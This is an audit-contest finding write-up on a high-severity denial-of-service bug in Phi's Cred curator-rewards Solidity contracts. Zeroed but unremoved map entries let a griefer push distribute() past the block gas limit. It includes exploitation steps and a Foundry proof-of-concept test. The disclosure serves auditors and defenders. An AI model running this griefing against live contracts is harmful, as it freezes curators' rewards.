# shareBalance bloating eventually blocks curator rewards distribution

Cred's EnumerableMap keeps zero-balance curators after full sell, so ~4000 historical traders make CuratorRewardsDistributor.distribute() exceed block gas limit, freezing rewards.

- Payout: Audit contest
- Severity: high
- Program: Phi
- Found by: CAUsr
- Disclosed: 2024-10-07
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-08-phi-findings/issues/65
- Library page: https://bugbountylibrary.com/r/c4%3A2024-08-phi%3AH-03
- Tags: area:web3 domain:web3 impact:dos impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:dos

**Target:** Cred/CuratorRewardsDistributor Solidity contracts (shareBalance EnumerableMap)
**Root cause:** _updateCuratorShareBalance sets a seller's balance to 0 instead of removing the key from the EnumerableMap, so the map grows unbounded with historical curators. distribute() enumerates all entries via .at(i), and enough entries push gas past the block limit.
**Steps:**
1. Deposit rewards: `curatorRewardsDistributor.deposit{value: 1 ether}(credId, 1 ether)`
2. For i in 0..4000: prank fresh address, `cred.buyShareCred{value:0.1 ether}(credId,1,0)`, warp past SHARE_LOCK_PERIOD, `cred.sellShareCred(credId,1,0)`
3. Call `curatorRewardsDistributor.distribute(credId)` and measure gasleft delta
4. Observe gas > 30M (block gas limit), tx reverts
**How found:** Code reading of _updateCuratorShareBalance: noticed the sell branch sets balance to 0 but never calls .remove(), while buy branch adds entries; combined with _getCuratorData looping over shareBalance[credId_].at(i) and the known high cost of sload, hypothesized unbounded growth causes gas-limit DoS.
**Exploitation:** Griefer uses many lightweight proxy contracts or EIP-7702 accounts (parallel trading to bypass SHARE_LOCK_PERIOD) to buy then fully sell 1 share each on a cred, cheaply if early on the bonding curve. Each full sell leaves a zero entry in shareBalance. Once ~4000 addresses have ever held shares, distribute() enumeration exceeds block gas limit and reverts, permanently blocking curator reward distribution until upgrade.
**Insight:** When auditing EnumerableMap/EnumerableSet-backed accounting, check that entries are deleted (not just zeroed) on the exit path; any enumeration in a payout loop turns leftover zero entries into a cheap griefing DoS.

## Proof of concept (copied exactly from the original report)

**Foundry test bloating shareBalance to 4000 entries**

```
function testBloatingBalances() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Deposit some ETH to the curatorRewardsDistributor
        curatorRewardsDistributor.deposit{ value: depositAmount }(credId, depositAmount);

        // A similar piece of code may be executed by a griefer to block rewards distribution.
        // However, instead of `vm.startPrank` he'll have to resort to lightweight proxy contracts or EIP-7702.
        // `SHARE_LOCK_PERIOD` won't be a problem since several accounts can trade shares in parallel.
        // If the cred is not far into the bonding curve, the griefing can be done cheaply.
        for (uint i = 0; i < 4000; i++) {
            address trader = address(uint160(i + 1000));
            vm.deal(trader, 0.1 ether);
            vm.startPrank(trader);
            cred.buyShareCred{value: 0.1 ether}(credId, 1, 0);
            vm.warp(block.timestamp + 10 minutes + 1 seconds);
            cred.sellShareCred(credId, 1, 0);
            vm.stopPrank();
        }

        uint gas = gasleft();
        vm.prank(user2);
        curatorRewardsDistributor.distribute(credId);
        uint gasSpend = gas - gasleft();

        console2.log("`distribute()` gas: ", gasSpend);
    }
```

